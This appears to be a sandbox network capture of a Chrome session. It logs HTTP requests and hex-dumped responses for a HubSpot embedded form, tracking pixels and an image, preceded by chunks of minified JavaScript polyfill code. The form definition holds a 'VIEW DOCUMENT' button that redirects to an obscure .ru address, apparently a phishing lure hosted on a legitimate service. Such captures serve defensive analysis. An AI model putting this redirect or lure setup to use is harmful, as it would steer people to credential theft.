s=!!o&&!!o.unsafe,a=!!o&&!!o.enumerable,u=!!o&&!!o.noTargetGet;if("function"==typ
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 68 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 5d 3b 4a 28 74 2c 73 29 7c 7c 6e 28 74 2c 73 2c 69 28 65 2c 73 29 29 7d 7d 2c 78 74 3d 2f 23 7c 5c 2e 70 72 6f 74 6f 74 79 70 65 5c 2e 2f 2c 43 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 4c 74 5b 6a 74 28 74 29 5d 3b 72 65 74 75 72 6e 20 72 3d 3d 49 74 7c 7c 72 21 3d 4e 74 26 26 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 66 28 65 29 3a 21 21 65 29 7d 2c 6a 74 3d 43 74 2e 6e 6f 72 6d 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 74 29 2e 72 65 70 6c 61 63 65 28 78 74 2c 22 2e 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 4c 74 3d 43 74 2e 64 61 74 61 3d 7b 7d 2c 4e 74 3d 43 74 2e 4e 41 54 49 56 45 3d 22 4e Data Ascii: h;o++){var s=r[o];J(t,s)\|\|n(t,s,i(e,s))}},xt=/#\|\.prototype\./,Ct=function(t,e){var r=Lt[jt(t)];return r==It\|\|r!=Nt&&("function"==typeof e?f(e):!!e)},jt=Ct.normalize=function(t){return String(t).replace(xt,".").toLowerCase()},Lt=Ct.data={},Nt=Ct.NATIVE="N
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 62 6a 65 63 74 28 74 29 2c 71 74 29 29 3f 6e 3a 56 74 3f 65 28 72 29 3a 22 4f 62 6a 65 63 74 22 3d 3d 28 69 3d 65 28 72 29 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 2e 63 61 6c 6c 65 65 3f 22 41 72 67 75 6d 65 6e 74 73 22 3a 69 7d 2c 48 74 3d 7b 7d 3b 48 74 5b 42 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 5d 3d 22 7a 22 3b 76 61 72 20 47 74 3d 22 5b 6f 62 6a 65 63 74 20 7a 5d 22 21 3d 3d 53 74 72 69 6e 67 28 48 74 29 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 22 2b 51 74 28 74 68 69 73 29 2b 22 5d 22 7d 3a 48 74 2e 74 6f 53 74 72 69 6e 67 2c 57 74 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 3b 47 74 21 3d 3d 57 74 2e 74 6f 53 74 72 69 6e 67 26 26 70 74 28 57 74 2c 22 74 6f 53 74 72 Data Ascii: bject(t),qt))?n:Vt?e(r):"Object"==(i=e(r))&&"function"==typeof r.callee?"Arguments":i},Ht={};Ht[B("toStringTag")]="z";var Gt="[object z]"!==String(Ht)?function(){return"[object "+Qt(this)+"]"}:Ht.toString,Wt=Object.prototype;Gt!==Wt.toString&&pt(Wt,"toStr
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 74 79 4e 61 6d 65 73 3f 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 28 77 69 6e 64 6f 77 29 3a 5b 5d 2c 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 66 65 28 74 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 70 65 2e 73 6c 69 63 65 28 29 7d 7d 2c 62 65 3d 7b 66 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 70 65 26 26 22 5b 6f 62 6a 65 63 74 20 57 69 6e 64 6f 77 5d 22 3d 3d 68 65 2e 63 61 6c 6c 28 74 29 3f 6d 65 28 74 29 3a 66 65 28 57 28 74 29 29 7d 7d 2c 67 65 3d 6e 74 28 22 68 69 64 64 65 6e 22 29 2c 79 65 3d 22 53 79 6d 62 6f 6c 22 2c 76 65 3d 68 74 2e 73 65 74 2c 77 65 3d 68 74 2e 67 65 74 74 65 72 46 6f 72 28 79 65 29 2c 53 65 3d 58 2e 66 2c 45 65 3d 53 2e 66 2c Data Ascii: tyNames?Object.getOwnPropertyNames(window):[],me=function(t){try{return fe(t)}catch(t){return pe.slice()}},be={f:function(t){return pe&&"[object Window]"==he.call(t)?me(t):fe(W(t))}},ge=nt("hidden"),ye="Symbol",ve=ht.set,we=ht.getterFor(ye),Se=X.f,Ee=S.f,
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 2c 74 29 7c 7c 4a 28 74 68 69 73 2c 67 65 29 26 26 74 68 69 73 5b 67 65 5d 5b 74 5d 29 7c 7c 65 29 7d 2c 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3d 57 28 74 29 3b 65 3d 64 28 65 2c 21 30 29 3b 69 66 28 74 21 3d 3d 50 65 7c 7c 21 4a 28 4e 65 2c 65 29 7c 7c 4a 28 49 65 2c 65 29 29 7b 76 61 72 20 72 3d 53 65 28 74 2c 65 29 3b 21 72 7c 7c 21 4a 28 4e 65 2c 65 29 7c 7c 4a 28 74 2c 67 65 29 26 26 74 5b 67 65 5d 5b 65 5d 7c 7c 28 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 21 30 29 3b 72 65 74 75 72 6e 20 72 7d 7d 2c 51 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 54 65 28 57 28 74 29 29 2c 6e 3d 5b 5d 2c 69 3d 30 3b 72 2e 6c 65 6e 67 74 68 3e 69 3b 29 4a 28 4e 65 2c 65 3d 72 5b 69 2b 2b 5d 29 7c 7c 4a 28 69 74 2c 65 29 Data Ascii: ,t)\|\|J(this,ge)&&this[ge][t])\|\|e)},ze=function(t,e){t=W(t);e=d(e,!0);if(t!==Pe\|\|!J(Ne,e)\|\|J(Ie,e)){var r=Se(t,e);!r\|\|!J(Ne,e)\|\|J(t,ge)&&t[ge][e]\|\|(r.enumerable=!0);return r}},Qe=function(t){for(var e,r=Te(W(t)),n=[],i=0;r.length>i;)J(Ne,e=r[i++])\|\|J(it,e)
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 30 2c 66 6f 72 63 65 64 3a 21 6b 2c 73 68 61 6d 3a 21 68 7d 2c 7b 63 72 65 61 74 65 3a 71 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 44 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 24 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3a 7a 65 7d 29 3b 6b 74 28 7b 74 61 72 67 65 74 3a 22 4f 62 6a 65 63 74 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 6b 7d 2c 7b 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3a 51 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3a 48 65 7d 29 3b 41 65 26 26 6b 74 28 7b 74 61 72 67 65 74 3a 22 4a 53 4f 4e 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 6b 7c 7c 66 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 65 28 29 Data Ascii: 0,forced:!k,sham:!h},{create:qe,defineProperty:De,defineProperties:$e,getOwnPropertyDescriptor:ze});kt({target:"Object",stat:!0,forced:!k},{getOwnPropertyNames:Qe,getOwnPropertySymbols:He});Ae&&kt({target:"JSON",stat:!0,forced:!k\|\|f((function(){var t=Oe()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49749	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:30 UTC	942	OUT	GET /embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:30 UTC	1062	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:30 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close x-origin-hublet: na1 vary: origin access-control-allow-methods: OPTIONS, GET access-control-allow-headers: * access-control-allow-credentials: false access-control-max-age: 180 x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet Cache-Control: max-age=0, no-cache, no-store x-robots-tag: none x-envoy-upstream-service-time: 21 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: e9fb32d5-eba2-405b-aa61-297ccdeb647b x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-hqfsm x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: e9fb32d5-eba2-405b-aa61-297ccdeb647b CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307ccc59c80f90-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:30 UTC	307	IN	Data Raw: 32 38 39 32 0d 0a 7b 22 66 6f 72 6d 22 3a 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 31 39 32 36 39 32 2c 22 67 75 69 64 22 3a 22 30 39 36 65 37 37 64 30 2d 62 39 32 62 2d 34 62 63 64 2d 62 35 30 35 2d 66 36 64 65 31 63 66 64 63 62 64 62 22 2c 22 63 73 73 43 6c 61 73 73 22 3a 22 68 73 2d 66 6f 72 6d 20 73 74 61 63 6b 65 64 22 2c 22 69 6e 6c 69 6e 65 4d 65 73 73 61 67 65 22 3a 22 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 71 62 30 36 2e 66 66 63 77 79 67 66 66 2e 72 75 2f 35 47 34 59 56 2f 22 2c 22 73 75 62 6d 69 74 54 65 78 74 22 3a 22 56 49 45 57 20 44 4f 43 55 4d 45 4e 54 22 2c 22 66 6f 72 6d 46 69 65 6c 64 47 72 6f 75 70 73 22 3a 5b 7b 22 66 69 65 6c 64 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 74 72 75 65 2c 22 69 Data Ascii: 2892{"form":{"portalId":48192692,"guid":"096e77d0-b92b-4bcd-b505-f6de1cfdcbdb","cssClass":"hs-form stacked","inlineMessage":"","redirectUrl":"https://qb06.ffcwygff.ru/5G4YV/","submitText":"VIEW DOCUMENT","formFieldGroups":[{"fields":[],"default":true,"i
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 34 38 31 39 32 36 39 32 2e 66 73 31 2e 68 75 62 73 70 6f 74 75 73 65 72 63 6f 6e 74 65 6e 74 2d 6e 61 31 2e 6e 65 74 2f 68 75 62 66 73 2f 34 38 31 39 32 36 39 32 2f 69 6d 61 67 65 73 2d 34 2e 70 6e 67 5c 22 20 73 74 79 6c 65 3d 5c 22 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 5c 22 20 64 61 74 61 2d 69 6d 67 2d 61 73 70 65 63 74 2d 72 61 74 69 6f 3d 5c 22 31 2e 34 34 33 38 35 30 32 36 37 33 37 39 36 37 39 31 5c 22 20 61 6c 74 3d 5c 22 69 6d 61 67 65 73 2d 34 5c 22 20 77 69 64 74 68 3d 5c 22 31 37 38 5c 22 20 64 61 74 Data Ascii: "https://48192692.fs1.hubspotusercontent-na1.net/hubfs/48192692/images-4.png\" style=\"max-width: 100%; max-height: 100%; display:block; margin-left:auto; margin-right:auto;\" data-img-aspect-ratio=\"1.4438502673796791\" alt=\"images-4\" width=\"178\" dat
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 22 2c 22 74 79 70 65 22 3a 22 54 45 58 54 22 7d 2c 22 69 73 50 61 67 65 42 72 65 61 6b 22 3a 66 61 6c 73 65 7d 2c 7b 22 66 69 65 6c 64 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 74 72 75 65 2c 22 69 73 53 6d 61 72 74 47 72 6f 75 70 22 3a 66 61 6c 73 65 2c 22 72 69 63 68 54 65 78 74 22 3a 7b 22 63 6f 6e 74 65 6e 74 22 3a 22 3c 70 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 5c 22 3e 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 61 30 3b 20 26 23 78 Data Ascii: </div>","type":"TEXT"},"isPageBreak":false},{"fields":[],"default":true,"isSmartGroup":false,"richText":{"content":"<p><span style=\"background-color: #ffffff; text-align: center;\">                    &#x
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 74 79 6c 65 22 3a 22 7b 5c 22 66 6f 6e 74 46 61 6d 69 6c 79 5c 22 3a 5c 22 61 72 69 61 6c 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 5c 22 2c 5c 22 62 61 63 6b 67 72 6f 75 6e 64 57 69 64 74 68 5c 22 3a 5c 22 31 30 30 25 5c 22 2c 5c 22 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 5c 22 3a 5c 22 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 2c 5c 22 62 6f 72 64 65 72 52 61 64 69 75 73 5c 22 3a 5c 22 30 70 78 5c 22 2c 5c 22 70 61 64 64 69 6e 67 5c 22 3a 5c 22 30 70 78 5c 22 2c 5c 22 6c 61 62 65 6c 54 65 78 74 43 6f 6c 6f 72 5c 22 3a 5c 22 23 32 31 32 44 33 41 5c 22 2c 5c 22 6c 69 6e 6b 43 6f 6c 6f 72 5c 22 3a 5c 22 23 30 30 30 30 45 45 5c 22 2c 5c 22 63 6c 69 63 6b 65 64 4c 69 6e 6b 43 6f 6c 6f 72 5c 22 3a 5c 22 23 35 35 31 41 38 42 5c 22 Data Ascii: tyle":"{\"fontFamily\":\"arial, helvetica, sans-serif\",\"backgroundWidth\":\"100%\",\"backgroundColor\":\"transparent\",\"borderRadius\":\"0px\",\"padding\":\"0px\",\"labelTextColor\":\"#212D3A\",\"linkColor\":\"#0000EE\",\"clickedLinkColor\":\"#551A8B\"
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 31 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 32 34 70 78 7d 2e 68 73 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 68 73 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 38 66 37 33 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 38 66 37 33 7d 2e 68 73 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 36 36 65 35 30 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 36 36 65 35 30 7d 6c 61 62 65 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 Data Ascii: fff;border-radius:3px;border-style:solid;border-width:1px;font-size:14px;padding:12px 24px}.hs-button:hover,.hs-button:focus{background-color:#ff8f73;border-color:#ff8f73}.hs-button:active{background-color:#e66e50;border-color:#e66e50}label{font-size:14px
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 6e 67 3a 39 70 78 20 31 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 5c 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 34 37 35 62 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 62 64 36 65 32 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 2d 6d 73 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f Data Ascii: ng:9px 10px;font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif;font-size:16px;font-weight:normal;line-height:22px;color:#33475b;border:1px solid #cbd6e2;box-sizing:border-box;-webkit-border-radius:3px;-moz-border-radius:3px;-ms-border-radius:3px;bo
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 6f 6d 3a 31 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 37 70 78 20 30 70 78 7d 2e 69 6e 70 75 74 73 2d 6c 69 73 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 35 70 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 7d 2e 69 6e 70 75 74 73 2d 6c 69 73 74 3e 6c 69 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 7d 2e 69 6e 70 75 74 73 2d 6c 69 73 74 20 6c 61 62 65 6c 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 69 6e Data Ascii: om:18px;padding:17px 0px}.inputs-list{margin:0 0 5px;width:100%;padding-left:5px}.inputs-list>li{display:block;padding:0;width:100%;padding-top:0}.inputs-list label{float:none;width:auto;padding:0;line-height:18px;white-space:normal;font-weight:normal}.in
2024-12-16 17:45:30 UTC	1369	IN	Data Raw: 77 72 61 70 7d 2e 65 6d 61 69 6c 2d 63 6f 72 72 65 63 74 69 6f 6e 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 5c 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 65 6d 61 69 6c 2d 63 6f 72 72 65 63 74 69 6f 6e 20 61 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 61 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 30 30 70 78 29 2c 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 20 33 32 30 70 78 29 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 Data Ascii: wrap}.email-correction,.email-validation{padding-top:3px;font-size:12px;font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif}.email-correction a,.email-validation a{cursor:pointer}@media(max-width: 400px),(min-device-width: 320px)and (max-device-widt
2024-12-16 17:45:30 UTC	504	IN	Data Raw: 2e 68 73 2d 62 75 74 74 6f 6e 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 68 6f 6e 65 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 74 65 78 74 61 72 65 61 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 2d Data Ascii: .hs-button,.hs-form-field input[type=text],.hs-form-field input[type=email],.hs-form-field input[type=phone],.hs-form-field input[type=number],.hs-form-field input[type=tel],.hs-form-field input[type=date],.hs-form-field textarea{-webkit-appearance:none;-
2024-12-16 17:45:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49750	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:30 UTC	1085	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:30 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: dfef8373-5eb0-4ab5-9312-653dcc6d237c x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-6w44x x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: dfef8373-5eb0-4ab5-9312-653dcc6d237c CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307ccc5addc457-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49751	104.18.41.124	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:30 UTC	627	OUT	GET /hubfs/48192692/images-4.png HTTP/1.1 Host: 48192692.fs1.hubspotusercontent-na1.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:30 UTC	1320	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:30 GMT Content-Type: image/webp Content-Length: 1904 Connection: close CF-Ray: 8f307ccc9d73429b-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 1718 Cache-Control: s-maxage=2592000, max-age=1209600, stale-while-revalidate=900 Content-Disposition: inline; filename="images-4.webp" ETag: "7b0a0b2cff74eb72f180a4ecb4dc08c5" Last-Modified: Mon, 16 Dec 2024 17:16:52 GMT Vary: Accept Via: 1.1 64d968aa0a0b58a1d00cb142d02b0ac0.cloudfront.net (CloudFront) Access-Control-Allow-Methods: GET cache-tag: F-183952952717,P-48192692,FLS-ALL Cf-Bgj: imgq:85,h2pri Cf-Polished: origFmt=png, origSize=2438 Edge-Cache-Tag: F-183952952717,P-48192692,FLS-ALL Timing-Allow-Origin: 48192692.fs1.hubspotusercontent-na1.net X-Amz-Cf-Id: zxUTVCX_wQXbPNJmzNUvFFAK8fu8rdxN_Iy66hDVBbpI-HprLx1NCQ== X-Amz-Cf-Pop: JFK52-P1 x-amz-id-2: r9ojo2tukXouaSCg7eRXS2s46ktQ9r0RZf+MdetEK53CU2M7gZ4vZe1sANh0RALIO/FglEpEQeg= x-amz-meta-access-tag: public-not-indexable x-amz-meta-cache-tag: F-183952952717,P-48192692,FLS-ALL x-amz-meta-created-unix-time-millis: 1734369411734 x-amz-meta-index-tag: none x-amz-replication-status: PENDING x-amz-request-id: NP1ZR0T855TXWA3G x-amz-server-side-encryption: AES256 x-amz-storage-class: INTELLIGENT_TIERING
